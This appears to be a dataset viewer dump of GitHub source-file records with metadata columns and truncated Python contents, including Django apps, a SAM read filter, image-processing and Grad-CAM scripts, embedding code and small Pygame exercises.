blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 5 283 | content_id stringlengths 40 40 | detected_licenses listlengths 0 41 | license_type stringclasses 2
values | repo_name stringlengths 7 96 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 58
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 12.7k 662M ⌀ | star_events_count int64 0 35.5k | fork_events_count int64 0 20.6k | gha_license_id stringclasses 11
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 43
values | src_encoding stringclasses 9
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 7 5.88M | extension stringclasses 30
values | content stringlengths 7 5.88M | authors listlengths 1 1 | author stringlengths 0 73 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a67ab25d1cff271512c54db3bd1399b8a02b7f04 | f69c3d3affa917b14fb182871ad580f09f1ffd30 | /scripts/filterSAMV3.py | 0ce06ef5dadac8bda5b24cea98afa2e31485d57c | [] | no_license | jxmavs/MPRAu | b41e8a1b1c5253c319369281adf9b4ac18122999 | 1addfb04be5c3e6c6199274593b94df66120056b | refs/heads/main | 2023-04-12T23:37:34.049570 | 2021-10-07T13:42:14 | 2021-10-07T13:42:14 | 402,938,693 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,399 | py | ## 06/14/16
##
## Dustin Griesemer
##
## filterSAM.py -inputF SAM_input_path -passF pass_reads_path -failF fail_reads_path
## Example: python /home/unix/dusting/src/MPRA/seq/filterSAM.py -inputF /idi/sabeti-data/dustin/sequencing/HLBCXX/BWA/Bmt1_CTGCGGAT.merged.trimmed_seqxN_M_qF_md.sam -passF /idi/sabeti-data/dustin/... | [
"jxue@Jamess-MacBook-Pro-2.local"
] | jxue@Jamess-MacBook-Pro-2.local |
86b67e3907137062b76bca97e81c8f8bf1db5ef8 | 0f5aa7e116cce3355323bcf0c4af4afdb611de7a | /jobs/views.py | a863637ec63843af6ae2094962b3176865d402b0 | [] | no_license | fyangtx/portfolio-project | d95476aef7873530158ca6d139815c4532b03b38 | 20b0f8bdddaaeb112c90171273a7b72e36abe346 | refs/heads/master | 2020-08-29T15:35:11.318543 | 2019-11-05T15:54:08 | 2019-11-05T15:54:08 | 218,076,377 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 299 | py | from django.shortcuts import render
from .models import Job
# Create your views here.
def home(request):
jobs = Job.objects
return render(request, 'jobs/home.html', {'jobs':jobs})
def Blog(request):
jobs = Job.objects
return render(request, 'blog/allblogs.html', {'blog':jobs}) | [
"fyangtx@gmail.com"
] | fyangtx@gmail.com |
5e1a362c581d3613061ed91b6c4f18a833599518 | 08238a7176a32e64e530475890cf71698ff852af | /img_veiwer.py | 73217b6f551364a0dd0fb8e8bd671da7a618e730 | [] | no_license | Aleks4920/Image-Veiwer | a513ba4d6d608a99f4ee0513e0c0f9f739ae62c4 | cc909adaf58f0ffa72d63c318217970cb77d5fe4 | refs/heads/main | 2023-04-26T12:34:16.202000 | 2021-05-17T20:22:57 | 2021-05-17T20:22:57 | 368,312,624 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,503 | py |
import PySimpleGUI as sg
import os.path
file_list_column = [
[
sg.Text("Image Folder"),
sg.In(size=(25,1), enable_events=True, key="-FOLDER-"),
sg.FolderBrowse()
],
[
sg.Listbox(
values=[], enable_events=True,size=(40,20), key="-FILE LIST-"
... | [
"noreply@github.com"
] | noreply@github.com |
4b4b9d026fc0998ae40065e2c06a01f29db173ea | a37c48267bfb8476476dad7219c4e3329f9e2991 | /Packs/Campaign/Scripts/GetCampaignIncidentsInfo/GetCampainIncidentsInfo_test.py | 46ac2acb649901554594372f906ad2bd66320db4 | [
"MIT"
] | permissive | adambaumeister/content | 611ce9fba412a5eb28fbefa8a43282e98d3f9327 | 01b57f8c658c2faed047313d3034e8052ffa83ce | refs/heads/master | 2023-03-09T18:16:18.623380 | 2022-07-13T18:11:09 | 2022-07-13T18:11:09 | 274,290,989 | 2 | 0 | MIT | 2023-03-06T12:22:17 | 2020-06-23T02:36:53 | Python | UTF-8 | Python | false | false | 5,072 | py | from CommonServerPython import *
from GetCampaignIncidentsInfo import *
REQUIRED_KEYS = ['id', 'name', 'emailfrom', 'recipients', 'severity', 'status', 'created']
STR_VAL_KEYS = ['name', 'emailfrom', 'recipients', 'created']
NUM_OF_INCIDENTS = 5
MOCKED_INCIDENTS = [
{key.replace('_', ''): f'test_{key}_{i}' if key... | [
"noreply@github.com"
] | noreply@github.com |
1faa0fa35b3e9e7d37c51b9677b1ce5213485dc9 | 4bfa5e8925ce8170ec6d1c541979b956f2cdde61 | /src/edge.py | 521a0c869676ec15aa6bf4a37727ee28dc93dd72 | [] | no_license | YulongLee/2020DIGIX-AI--competition | 0d352b89c226fe78dad0c523d5524960154a8ac6 | d16020303c00a9179c9083fa4533305a9f1cb4f2 | refs/heads/master | 2022-12-01T00:30:16.928044 | 2020-08-21T03:18:46 | 2020-08-21T03:18:46 | 278,046,179 | 4 | 1 | null | null | null | null | UTF-8 | Python | false | false | 5,790 | py | # -*- coding: utf-8 -*-
from __future__ import print_function
from src.evaluate import evaluate_class
from src.DB import Database
from six.moves import cPickle
import numpy as np
import scipy.misc
from math import sqrt
import os
stride = (1, 1)
n_slice = 10
h_type = 'region'
d_type = 'cosine'
depth = 5
'... | [
"noreply@github.com"
] | noreply@github.com |
8090a4e5189527c60262b8d9d937fbb1737c4657 | b6e9021fcb19ed217223c97c85228d8042294a84 | /ispyb/__init__.py | 999ddb0a03049d9d658968b903bbe481e33fef2a | [
"Apache-2.0"
] | permissive | drnasmith/flask-ispyb-admin | 28c4eb10808dd1f1716790ff5e7b56d37e34e38a | eebf7ee9489e22265aa7cd23263a3bb74efa9a86 | refs/heads/master | 2020-03-27T18:19:58.102151 | 2019-05-02T16:28:25 | 2019-05-02T16:28:25 | 146,915,423 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 958 | py | from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.engine.url import URL
db = SQLAlchemy()
Base = db.Model
# Use config module if provided:
# db_config = {
# 'user' : 'dbuser',
# 'password' : 'dbpassword',
# 'host' : 'localhost',
# 'port' : '3306',
# 'name' : 'test_db',
# }
try:
from config import ... | [
"neil.smith@diamond.ac.uk"
] | neil.smith@diamond.ac.uk |
84347b78c681428ae4be6f35bdd6d5c0459ac5e8 | c87d20ea41308a529d0eec9bc61558f9183d9db4 | /mysite/settings.py | 04e6e9f88f9d8b073648af0778f0fd2cb1f7d306 | [] | no_license | cdelfierro/my-first-blog | 202213a48141b2968c72346a55d5a55b335873fb | fc057ade96c90754c7b1d08fa1b558dc8b695baf | refs/heads/master | 2021-01-22T23:07:30.701625 | 2017-06-14T21:33:36 | 2017-06-14T21:33:36 | 92,801,358 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,241 | py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 1.10.7.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/settings/
"""
import os
... | [
"cdelfierro@gmail.com"
] | cdelfierro@gmail.com |
72376f0ec9e98440ff93c68f5fa084abf1c07fb8 | 7b5c1352e1a4fb8352161cc135bfd1225a633828 | /2017-cvr-tencent-final/src/feature_engineer/user_action_app_sum.py | 14c643cb1eba6e524f852a2ad225fbe7be054f30 | [] | no_license | zgcgreat/2017-cvr-tencent | b7f54ae8df55fbb30f2430f695a148844982aa3a | fe79d0756bbf862d45e63e35b7c28da8396bcbda | refs/heads/master | 2021-04-03T08:32:33.651705 | 2018-07-17T08:36:53 | 2018-07-17T08:36:53 | 124,724,199 | 6 | 3 | null | null | null | null | UTF-8 | Python | false | false | 3,620 | py | '''
当天之前用户安装的app数量,不加前16天的统计和加上前16天的统计
'''
import collections
from csv import DictReader
user_app_install_sum = {}
for row in DictReader(open('../../output/feature_data/installed_app_cnt.csv', 'r')):
user_app_install_sum[row['userID']] = row['installed_app_cnt']
user_app_sum = {}
for cur_date in range(24, 32):... | [
"1107630485@qq.com"
] | 1107630485@qq.com |
c108babea4c40d55a532433761d77eb3ceaab12c | c42430ef0d99f1cf97cf91c6279b647c2166c4c4 | /app/transaction/salary_sheet.py | d1933d7c93e39ef27f90aaca38c2d8d22b95b16b | [
"MIT"
] | permissive | vaibhavantil/Hafta | 15583a0fc7f4325ddce84463526372b12ac7f73f | f47d1c64ba7b3e0a8f04afe2365d1524bdc2b27d | refs/heads/master | 2023-04-02T12:34:15.463850 | 2021-03-02T19:33:21 | 2021-03-02T19:33:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,430 | py | # Salary Sheet
from flask import Blueprint
from flask import render_template, redirect, url_for, request, session, jsonify
from flask_login import login_user, logout_user, current_user
from app.transaction import bp
from app.employee.model import Employee, EmployeeAdvanceSchema
from app.master.model import Company, A... | [
"padamsethia5@gmail.com"
] | padamsethia5@gmail.com |
75feb3ce4229e0efe551dc66ab9dae7d424d9978 | 1e7848dba44ff52cf7d36b4fd61370553cbb7635 | /blog/migrations/0001_initial.py | d2843b047f35b6762c26fb76b30e3a6b5919ff82 | [] | no_license | Maxpridy/practicedjango | 5ea22b554b054112cc066026aa0f617127caa04e | 940a10b1f945a6e8e6f6e28895d99553dfee96e0 | refs/heads/master | 2021-01-19T22:01:17.449937 | 2017-04-10T07:49:38 | 2017-04-10T07:49:38 | 88,738,293 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,051 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-04-10 05:50
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
depe... | [
"muffffet@gmail.com"
] | muffffet@gmail.com |
9e4be8d41a15c6d3bccd99feb81baf8a2f664f48 | b156863223814b24f29bcf30cc46abeac21c777e | /tools/nntool/graph/types/others.py | 245aaf04b68ff5a5ffd8f1eaa80aeeb232ca9775 | [
"AGPL-3.0-or-later",
"AGPL-3.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-other-copyleft",
"Apache-2.0"
] | permissive | VishalSharma0309/gap_sdk | 9dc1a2dda3f99936eeff7bbe2da9755adf6e3eb7 | 09ccc594a3696a84953b732022cecae11e751c97 | refs/heads/master | 2023-07-04T20:53:39.872992 | 2021-08-23T03:53:11 | 2021-08-23T03:53:11 | 274,509,235 | 0 | 0 | Apache-2.0 | 2021-08-23T03:53:12 | 2020-06-23T21:08:16 | C | UTF-8 | Python | false | false | 21,578 | py | # Copyright (C) 2020 GreenWaves Technologies, SAS
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
# This progr... | [
"noreply@github.com"
] | noreply@github.com |
5f18454f014b6f708d18d693c3cd5b6a8f151544 | b1a6ad54e1094b84d3e4b16e1bcaa1922a2eff9c | /products/migrations/0001_initial.py | a1be93bdd50ebef4a4b02d1b43fc8c94c1635c86 | [] | no_license | lesproduweb/africanStore | e9e098455b6bbbb10b04cd8e2729b64fdac55e71 | 95c0a3c04f08dc27d7decc5a9c30ae7d0a2b48a8 | refs/heads/master | 2023-06-15T01:26:48.955407 | 2021-07-10T06:28:15 | 2021-07-10T06:28:15 | 381,659,286 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,039 | py | # Generated by Django 3.2.4 on 2021-06-30 06:58
from django.db import migrations, models
import products.models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Product',
fields=[
(... | [
"kvnjessy@gmail.com"
] | kvnjessy@gmail.com |
c44e16e725d15095945f1ae592038de226dad0b1 | 6ec209c1f6f3ca8017a5373ba2e85da38dfda90c | /array/128.py | a5640d6b558db8023edab49d991eb9cead49a8b6 | [
"Apache-2.0"
] | permissive | MingfeiPan/leetcode | a70192233f7112ce39cc7b09d782bdcc52d29d06 | 057d9f014cf207ab4e50e14e5a9e015724de1386 | refs/heads/master | 2022-05-09T01:40:39.599374 | 2022-04-10T15:03:07 | 2022-04-10T15:03:07 | 60,593,146 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 610 | py | #for loop + while loop看似两层循环, 但是while loop只会出现在n-1 is None的情况下 所以 整体时间复杂度O(n)
class Solution:
def longestConsecutive(self, nums: List[int]) -> int:
num_set = set(nums)
ret = 0
for num in num_set:
if num - 1 not in num_set:
cur_len = ... | [
"113104667@umail.ucc.ie"
] | 113104667@umail.ucc.ie |
b81c44ba1cc0b90044f10dc4f6460cf0f053c32b | 5cfc4c94bf158ec45d39c484ebb9740460d8e2d7 | /venv/lib/python3.7/site-packages/south/management/commands/startmigration.py | e4fcf458c9de830b02c6f2d0ee9fa96fb62059c5 | [
"Apache-2.0"
] | permissive | r34g4n/ADT_booking | 917060cc95ee2c9eeea2fec69ea0d1335c43cca2 | 57c5bb103ac8bc1cf4d2c4f8b52744bd763560fb | refs/heads/promoted-slave | 2022-11-30T16:14:21.582830 | 2019-08-27T08:20:50 | 2019-08-27T08:20:50 | 197,391,546 | 0 | 1 | Apache-2.0 | 2022-11-22T03:57:27 | 2019-07-17T13:06:50 | Python | UTF-8 | Python | false | false | 2,113 | py | """
Now-obsolete startmigration command.
"""
from __future__ import print_function
from optparse import make_option
from django.core.management.base import BaseCommand
from django.core.management.color import no_style
class Command(BaseCommand):
option_list = BaseCommand.option_list + (
make_option('--m... | [
"gorreagan@gmail.com"
] | gorreagan@gmail.com |
18d4eb15b17099de6e64885e76ef46e3eb22192b | 69f893832b34ef370c7ae5a3d03107cdfb936bdc | /numpy_implementation_rough.py | 4e385c4fa8a5b96c8c1af6d254b1c15c0884d098 | [
"Apache-2.0"
] | permissive | Ayushi20023/Training-domain-specific-word-embeddings | 766783bbf293bca721f19ffb515c3caf7aa0d77a | bc0ae5c97ecd7bbb6f3d066a3bd3629d09c0f409 | refs/heads/master | 2021-06-10T05:10:24.689405 | 2017-01-05T09:43:00 | 2017-01-05T09:43:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,391 | py | import argparse
import math
import struct
import sys
import time
import warnings
import pickle
import string
from bs4 import BeautifulSoup
from nltk.tokenize import word_tokenize
from nltk.corpus import stopwords
import numpy as np
import matplotlib.pyplot as plt
from scipy import spatial
from sklearn.manifold import T... | [
"sanyamjain@live.com"
] | sanyamjain@live.com |
dfc3047922128f9d7077164ac775b666d5d75976 | 31de5e1ddecdfbd183c83ea1cf56a2d2a717709c | /src/pymolscripts/__init__.py | d80653dc34ba61e61d4d687352f69de830ebddff | [] | no_license | awacha/pymolscripts | 3dd6b52045074ea603ece4c3700494bd0dc16c99 | fde868f420e820103cd95e9bdb505d08aad78c9a | refs/heads/master | 2021-05-23T05:30:06.698975 | 2018-05-16T11:50:48 | 2018-05-16T11:50:48 | 95,018,557 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,790 | py | from __future__ import absolute_import, unicode_literals, print_function, with_statement
from pymol import cmd
from . import utils, io, display, betapeptides, bilayer
cmd.extend('save_pdb_ordered', io.savepdb_ordered.save_pdb_ordered)
cmd.extend('save_gro', io.savegro.save_gro)
cmd.extend('show_axes', display.axes.s... | [
"awacha@gmail.com"
] | awacha@gmail.com |
0b158c51d3a43b15bc506a014de63a0c79b3e622 | 8ef26b119f704e190ab4b9f8e48d8361b5e1d744 | /interview/python/sorted_union.py | 1ef5280709006df38b612588d02fdac4b0426813 | [] | no_license | derektolliver/spectral-jellyfish | 86264889e8f29d41f710ae7f55a6ac9a3b077901 | 37ea96f2adc78b1788fc0025c95b6a1f8d227b05 | refs/heads/master | 2021-01-23T21:43:33.270217 | 2017-01-04T13:00:00 | 2017-03-08T20:38:36 | 57,347,177 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 942 | py | def sorted_union(l1, l2):
p1 = 0
p2 = 0
result = []
while p1 < len(l1) and p2 < len(l2):
to_add = 0
if l1[p1] <= l2[p2]:
to_add = l1[p1]
p1 += 1
else:
to_add = l2[p2]
p2 += 1
if len(result) == 0 or (len(result) > 0 and to_ad... | [
"derekt1026@gmail.com"
] | derekt1026@gmail.com |
aaaca1623cd6bdac79b7bf18c41748fae13a3de3 | 11ed0243962ca1b88d6a445f61b3c83f6f32dd80 | /No8.Labyrinth_using_pygame.py | f6769ea60d45cfe75ae7c4ad25751c169708f4a0 | [
"MIT"
] | permissive | programmingphys/TrainProgs | be72ce3bcfbeba117dc6079c6ca988c3513d5ef0 | 7a011184a3d936328e0f31f1aca6eb3a86cb3c10 | refs/heads/master | 2020-04-24T08:15:18.045541 | 2019-03-21T11:13:34 | 2019-03-21T11:13:34 | 171,824,996 | 0 | 1 | MIT | 2019-04-19T05:59:50 | 2019-02-21T07:47:43 | Python | UTF-8 | Python | false | false | 8,676 | py | #首先输入行数列数
#esc退出
#r复位
#t提示
import numpy as np
import pygame
from pygame.locals import *
import random
class Labyrinth:
def __init__(self, rows=30, cols=40):
self.rows = rows
self.cols = cols
self.keep_going = 1
#keep_going = 1代表生成继续进行
self.M=np.zeros((rows,cols,3), dtype=np.uint8)
self.laby=np.ones((r... | [
"noreply@github.com"
] | noreply@github.com |
43f6dc6b7f401fbd8ce3b338f1841df222d03d8a | 220102570677dff8818e5e7e84b23e70f01ae503 | /Drill-06/drill6(8-2).py | f608e2ffe958982782e7260d69c93c28c703dfb6 | [] | no_license | hanGB/2018182039-2DGP-DRILLS | a2183fe4fc2750559f49b3a3bb1ad94c01407b04 | 4953a5f1159d587dd130908cf3c3697165710ce0 | refs/heads/master | 2020-08-05T23:01:17.344695 | 2019-12-02T02:55:20 | 2019-12-02T02:55:20 | 212,746,633 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,513 | py | from pico2d import *
import random
KPU_WIDTH, KPU_HEIGHT = 1280, 1024
open_canvas(KPU_WIDTH, KPU_HEIGHT)
kpu = load_image("KPU_GROUND.png")
character = load_image("animation_sheet.png")
def cancle():
global game
events = get_events()
for event in events:
if event.type == SDL_QUIT:
... | [
"sy0871@naver.com"
] | sy0871@naver.com |
1cff17c14a960f91929536de9ce6238f968e1d07 | 2ab5a2208c6a4925b8079fe385b7e39a656e3ea4 | /tests/fixtures/errors.py | d7f6513c645f7418e03784f82f3cd66604bcd6e9 | [
"MIT"
] | permissive | trehansalil/pyairvisual | 3374203d38e9963128819d615b59be353f7c92ce | eec5e294b19f3bf0d8aedbda68c5ad6b8271fd20 | refs/heads/master | 2020-09-04T00:24:02.190629 | 2019-11-01T19:59:43 | 2019-11-01T19:59:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,448 | py | """Define fixtures for the various errors."""
import pytest
@pytest.fixture()
def fixture_city_not_found():
"""Return a response when a city can't be found."""
return {"status": "fail", "data": {"message": "city_not_found"}}
@pytest.fixture()
def fixture_generic_error():
"""Return an unknown/generic err... | [
"noreply@github.com"
] | noreply@github.com |
8169d37f0df406a34474bf3c961e7385eb0724ab | 48b27a8d8e5933a1f7d8b2e5aa9f204a311455a9 | /Toy_Example/language_model.py | 1a7b634c50e827bd6791b78037eeb6daea225af9 | [] | no_license | skgabriel/Math_Model | 922150ea5344dd83497e6f77443178b41d38eae2 | 696b69f11afd9942e536bb55866bf5b0d32294d0 | refs/heads/master | 2021-05-06T18:49:17.249262 | 2017-11-29T03:28:05 | 2017-11-29T03:28:05 | 112,043,420 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,469 | py | #Import statements
import pickle, json, cv2, os, sys
import tqdm, torch, torchvision
import numpy as np
from pprint import pprint
from PIL import Image
from torch.utils.data import Dataset
from torchvision import transforms
from torch.utils.data import DataLoader
from torch.autograd import Variable
import torch.n... | [
"skgabrie@D-10-18-231-43.dhcp4.washington.edu"
] | skgabrie@D-10-18-231-43.dhcp4.washington.edu |
bbae7a21d6d580ad1f1d9163983022e45a1c1303 | f5877f2dede5e6ba08a029d180c9e7e6278c1069 | /kindle/migrations/0017_delete_ebookreview.py | df8b2089344e2104cdb7fd10a921a2387c21a48b | [] | no_license | Kiviak/kivi-site | 499447cb48d9cdb1f447bbbdb21ac39bd07a2179 | 4a83048ee0fcd174a217fc046598fa82d67bb8ef | refs/heads/master | 2023-03-23T05:40:54.375311 | 2021-03-15T15:32:26 | 2021-03-15T15:32:26 | 347,594,792 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 292 | py | # Generated by Django 2.2.4 on 2020-10-17 01:37
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('kindle', '0016_ebookreview'),
]
operations = [
migrations.DeleteModel(
name='Ebookreview',
),
]
| [
"ubuntu@ip-172-26-12-181.ec2.internal"
] | ubuntu@ip-172-26-12-181.ec2.internal |
8b347ac4d0c0ec371f58b5f2f8899224e482b769 | 96808573f1f20cb927ee32121bc65f64de006a99 | /Task3/Grad-CAM_process.py | 7edf237b20e6a6f4357ea8327409c6ff2a4fe8b1 | [] | no_license | zyandtom/images-of-bee-and-wasp-classification | 7f9d622761624e70260c5774d9df343c23ab6d2a | d257d434fc4ab6c1f4131ea9e95e9fb3785747a4 | refs/heads/main | 2023-03-08T19:27:44.039326 | 2021-02-08T11:40:40 | 2021-02-08T11:40:40 | 325,052,003 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,795 | py | import argparse
import cv2
import numpy as np
import torch
from torch.autograd import Function
from torchvision import models
class FeatureExtractor():
""" Class for extracting activations and
registering gradients from targetted intermediate layers """
def __init__(self, model, target_layers):
s... | [
"zy1374691594@gmail.com"
] | zy1374691594@gmail.com |
935b16a38fcaba928a29d44bbc7a841d33eb51cb | 3d0ae7c8693463faa11bacad8e6ea9d0d70b9eb1 | /pytools/vision/bin/flickr/flickr_stats.py | 1ff3bf8e1fc363943d924d4d6bc9df7f4bced428 | [] | no_license | stefie10/slu_hri | a76f79094bd1740676fec5d889411ba3b1d9dc26 | 50753379953e1ff822162eeab094cffe4a30f3e1 | refs/heads/master | 2022-12-14T01:07:51.522258 | 2020-08-31T00:50:12 | 2020-08-31T00:50:12 | 291,386,375 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,271 | py | from sys import argv
from sorting import quicksort
from scipy import array
from pylab import *
import cPickle
#from wordnet import *
#from wntools import *
def filter_load(filename):
myfile = open(filename, 'r')
mylist = {}
for line in myfile:
mylist[line.strip().replace(' ', '')] = True
retu... | [
"stefie10@alum.mit.edu"
] | stefie10@alum.mit.edu |
1f7c5f922cb681d1ea0aa518d8d9df8d7541f02c | 4bd43dee6668fe292f8061a290c56a4baba029f2 | /carzone/carzone/settings.py | 6963aafdafc30126aabf7f4949fa9488225207a7 | [] | no_license | 2anirban/carzone | 95ab9f1f5b8b8bda50774f9e0cee4f394b3c3f08 | aaacdce00c1187950800c0dd1eed04a440bcb520 | refs/heads/master | 2023-06-15T01:51:15.588197 | 2021-07-10T18:19:21 | 2021-07-10T18:19:21 | 378,468,031 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,521 | py | """
Django settings for carzone project.
Generated by 'django-admin startproject' using Django 3.2.4.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from pathlib... | [
"2anirban.dutta@gmail.com"
] | 2anirban.dutta@gmail.com |
879a085d92a6ba1aa7ef32ce51ca1781ac30159c | 8996489f875657a4010c700139c8d59c7ad5a07c | /python/src/app.py | 672c8f0ac9130ead45a6ec22bf197e1f5e852d87 | [] | no_license | hodory/docker-package | d17277c6368689c83d745475c3f55549b899988a | b7d73fa7fe94613eda53a561192ee7ad5339a342 | refs/heads/master | 2020-12-21T12:15:48.310076 | 2020-02-06T08:02:33 | 2020-02-06T08:02:33 | 236,428,265 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 436 | py | from konlpy.tag import Mecab, Kkma, Okt
from konlpy.utils import pprint
mecab = Mecab()
kkma = Kkma()
twitter = Okt()
string = '동해물과백두산이마르고닳도록'
print('# Mecab 형태소 분석')
pprint(mecab.morphs(string))
print('# 꼬꼬마 형태소 분석')
pprint(kkma.morphs(string))
print('# 트위터 형태소 분석')
pprint(twitter.morphs(string))
print('# 트위터 문구 추출')... | [
"mo02@outlook.kr"
] | mo02@outlook.kr |
694da9966a98ba7f6cfaaa11f69a9d335b534840 | f63e4c3e9d9c3877a0046b33d699400ac527a6f3 | /src/jsontogo/10oops.py | de3c59d6524100e4769f4a216d9590504eae2b3b | [] | no_license | podhmo/advent2016 | d96d33097fc509fe1eae5cf4869815962eff5dec | 40b8386db7df3041187933325d4caa755e297c71 | refs/heads/master | 2020-06-13T01:54:38.795497 | 2016-12-12T15:05:26 | 2016-12-12T15:05:26 | 75,465,938 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,289 | py | # -*- coding:utf-8 -*-
# see: https://mholt.github.io/json-to-go/
# original: https://github.com/mholt/json-to-go/blob/master/json-to-go.js
import re
import json
from collections import defaultdict
from collections import deque
from prestring import NameStore
from prestring import PreString
from prestring import LazyFo... | [
"ababjam61+github@gmail.com"
] | ababjam61+github@gmail.com |
e377b090ff7120577d1010807e18b1466e5ce87a | 3471d4aa328eddcef54f0236d2166ebbafc053e5 | /img_classify/Ui_ClassifyForm.py | 3048781d5cd138f0f39c94a845fb21ec15872ee0 | [] | no_license | gjz22cn/tf | 4b434535440eac0987f924050f2b1ee45005c842 | 725119d2a96812325aada7d58f86ae9a78a81452 | refs/heads/master | 2020-05-01T04:41:51.129308 | 2019-12-02T13:06:48 | 2019-12-02T13:06:48 | 177,281,567 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,664 | py | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'Ui_ClassifyForm.ui'
#
# Created by: PyQt5 UI code generator 5.6
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_ClassifyForm(object):
def setupUi(self, ClassifyForm):
... | [
"gjz22cn@hotmail.com"
] | gjz22cn@hotmail.com |
79cfe271cd082d64ec52a9e1d940fff9ff994924 | 22c6405b1ac254dd6cefa196d793940013d63cf6 | /Jayraj-Patel-Model/Lat-Longs/Miniso Analysis/Minso Distance Code.py | 9554ce0ed4277d00c597e96469c3062b48d2ccc9 | [] | no_license | aripirala/Predictive-Model---Claires | bf125c6eacdd4d2477e9641973608004ae0b8ae8 | c91c877e9f7d11e81cf680ca1b489dd3a63826c6 | refs/heads/master | 2018-10-17T11:17:36.964490 | 2018-08-01T14:40:40 | 2018-08-01T14:40:40 | 115,640,960 | 1 | 1 | null | 2018-01-26T15:47:33 | 2017-12-28T16:29:25 | Python | UTF-8 | Python | false | false | 2,303 | py | # -*- coding: utf-8 -*-
"""
Created on Fri Jul 20 11:51:50 2018
@author: patelj
"""
from math import sin, cos, sqrt, atan2, radians
import pandas as pd
import numpy as np
import xlsxwriter
FILE_PATH_INPUT = 'C:/Users/patelj/Documents/Lat-Longs/'
FILE_PATH_OUTPUT = 'C:/Users/patelj/Documents/Lat-Longs/Miniso Analysis... | [
"jp2497@gmail.com"
] | jp2497@gmail.com |
12c65b4950d31c0a8501917e0f33acb0a872566d | 7561171f1bca9726b69bb7e58cb772f100dcefa8 | /polls/migrations/0001_initial.py | 1971ef4874190a26cc0f7c1421661703d08f7a16 | [] | no_license | csportat/CMPUT404_lab4_django | 2a1a003dc98e55a0223bc0be9375213b4f5f9590 | a0eab270b540a716a49831a3083325f7aa08b7d1 | refs/heads/main | 2023-09-01T11:57:34.708717 | 2021-10-01T17:14:15 | 2021-10-01T17:14:15 | 412,449,335 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,081 | py | # Generated by Django 3.2.7 on 2021-10-01 13:02
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Question',
fields=[
... | [
"xiaty1@gmail.com"
] | xiaty1@gmail.com |
d13fe00841df091809061e6469f8a6d1e06cb02e | c64a98cd5c130e8aa48605b415d8b97fc0585510 | /3.16.5.py | cf867e2dad357d1241dc20c6ae62731649db4c5f | [] | no_license | bentd/think-python | bbd57b224a5caf7fcf3dc9590b247b7c1ac79da7 | b3a940f08df32e1c7f36a65717caf44aabd3eadc | refs/heads/master | 2020-07-18T08:05:14.321020 | 2019-09-04T02:13:36 | 2019-09-04T02:13:36 | 206,210,065 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 288 | py | def do_quad(i, f):
i()
f()
f()
f()
f()
i()
f()
f()
f()
f()
i()
def print_line():
a='+'
s=4*'-'
print a,s,a,s,a
def print_space():
l='|';
p=4*' ';
print l,p,l,p,l
def run():
do_quad(print_line, print_space)
run()
| [
"code@dylanbent.com"
] | code@dylanbent.com |
1a0ed5e4774201cd84513577f14e0c0f13e859bb | e88236a85d5b77f29b099cc72e2c87e8372eb7b1 | /Mad Lib.py | 21b10b456f4ad682ed1ad3401c0ec4d299cf6a77 | [] | no_license | BatistaAlexandre/Pyton_Projects | 8deabe8c3490280490a4297e0f5b100bff3a1cf7 | 9417bc5d82ee8b1bb5073e176b9f2fd17c2066ec | refs/heads/main | 2023-08-20T08:02:26.590472 | 2021-10-31T03:22:11 | 2021-10-31T03:22:11 | 417,197,904 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 696 | py | print("")
print("This is my frist Mad Libs project.")
print("")
name = ("Thomas")
adj1 = ("fighter")
